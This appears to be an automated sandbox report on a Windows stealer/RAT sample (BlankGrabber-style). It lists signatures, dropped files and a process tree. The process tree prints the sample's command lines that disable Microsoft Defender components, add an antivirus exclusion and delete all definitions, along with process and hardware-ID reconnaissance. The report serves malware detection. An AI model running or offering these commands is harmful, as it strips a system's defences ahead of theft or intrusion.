Analysis
- max time kernel
150s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
08/08/2026, 20:07
General
- Target 2026-08-08_5ab935b18c1f29a29cab50c30ae02d73_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
- Size 36.0MB
- Sample260808-yvyqdadj3v
- SHA256 4dec1586e3852b7d09081e411f7268ab943dda4c6a09ef988dd144b8fc027074
Malware Config
Signatures
- Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Loads dropped DLL 19 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- UPX packed file 54 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-08-08_5ab935b18c1f29a29cab50c30ae02d73_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-08_5ab935b18c1f29a29cab50c30ae02d73_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\2026-08-08_5ab935b18c1f29a29cab50c30ae02d73_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-08_5ab935b18c1f29a29cab50c30ae02d73_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-08_5ab935b18c1f29a29cab50c30ae02d73_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-08_5ab935b18c1f29a29cab50c30ae02d73_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All4⤵
- Deletes Windows Defender Definitions
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_wmi.pyd
base_library.zip
blank.aes
blank.aes
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
python313.dll
select.pyd
Lorem ipsum.txt
sqlite3.dll
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_sin5uefh.15o.ps1
memory/2908-148-0x00007FFC82AD0000-0x00007FFC82C4F000-memory.dmp
memory/2908-174-0x00007FFC926F0000-0x00007FFC926FD000-memory.dmp
memory/2908-79-0x00007FFC7F090000-0x00007FFC7F6F5000-memory.dmp
memory/2908-117-0x00007FFC7F090000-0x00007FFC7F6F5000-memory.dmp
memory/2908-121-0x00007FFC92390000-0x00007FFC923B7000-memory.dmp
memory/2908-120-0x00007FFC8B8C0000-0x00007FFC8B8F3000-memory.dmp
memory/2908-119-0x00007FFC86F60000-0x00007FFC8702E000-memory.dmp
memory/2908-97-0x00007FFC944C0000-0x00007FFC944CD000-memory.dmp
memory/2908-91-0x00007FFC91CF0000-0x00007FFC91D09000-memory.dmp
memory/2908-124-0x00007FFC94250000-0x00007FFC9425F000-memory.dmp
memory/2908-125-0x00007FFC8CF80000-0x00007FFC8CF94000-memory.dmp
memory/2908-126-0x00007FFC7EB50000-0x00007FFC7F083000-memory.dmp
memory/2908-127-0x00007FFC7F090000-0x00007FFC7F6F5000-memory.dmp
memory/2908-87-0x00007FFC966F0000-0x00007FFC966FF000-memory.dmp
memory/2908-111-0x00007FFC8B900000-0x00007FFC8B919000-memory.dmp
memory/2908-146-0x00007FFC8A760000-0x00007FFC8A785000-memory.dmp
memory/2908-100-0x00007FFC94250000-0x00007FFC9425F000-memory.dmp
memory/2908-151-0x00007FFC85D00000-0x00007FFC85DB3000-memory.dmp
memory/2908-107-0x00007FFC7EB50000-0x00007FFC7F083000-memory.dmp
memory/2908-85-0x00007FFC92390000-0x00007FFC923B7000-memory.dmp
memory/2908-93-0x00007FFC8CEE0000-0x00007FFC8CF0B000-memory.dmp
memory/2908-168-0x00007FFC8CEE0000-0x00007FFC8CF0B000-memory.dmp
memory/2908-118-0x00007FFC926F0000-0x00007FFC926FD000-memory.dmp
memory/2908-165-0x00007FFC92390000-0x00007FFC923B7000-memory.dmp
memory/2908-167-0x00007FFC91CF0000-0x00007FFC91D09000-memory.dmp
memory/2908-173-0x00007FFC8B900000-0x00007FFC8B919000-memory.dmp
memory/2908-177-0x00007FFC8A760000-0x00007FFC8A785000-memory.dmp
memory/2908-179-0x00007FFC85D00000-0x00007FFC85DB3000-memory.dmp
memory/2908-178-0x00007FFC82AD0000-0x00007FFC82C4F000-memory.dmp
memory/2908-176-0x00007FFC86F60000-0x00007FFC8702E000-memory.dmp
memory/2908-175-0x00007FFC8B8C0000-0x00007FFC8B8F3000-memory.dmp
memory/2908-105-0x00007FFC8CF80000-0x00007FFC8CF94000-memory.dmp
memory/2908-172-0x00007FFC7EB50000-0x00007FFC7F083000-memory.dmp
memory/2908-171-0x00007FFC8CF80000-0x00007FFC8CF94000-memory.dmp
memory/2908-170-0x00007FFC94250000-0x00007FFC9425F000-memory.dmp
memory/2908-169-0x00007FFC944C0000-0x00007FFC944CD000-memory.dmp
memory/2908-163-0x00007FFC7F090000-0x00007FFC7F6F5000-memory.dmp
memory/2908-166-0x00007FFC966F0000-0x00007FFC966FF000-memory.dmp
memory/5236-164-0x00000237AD0F0000-0x00000237AD0FA000-memory.dmp
memory/5236-160-0x00000237AD350000-0x00000237AD402000-memory.dmp
memory/5236-154-0x0000023794AD0000-0x0000023794AF2000-memory.dmp
memory/5236-159-0x00000237AD330000-0x00000237AD34E000-memory.dmp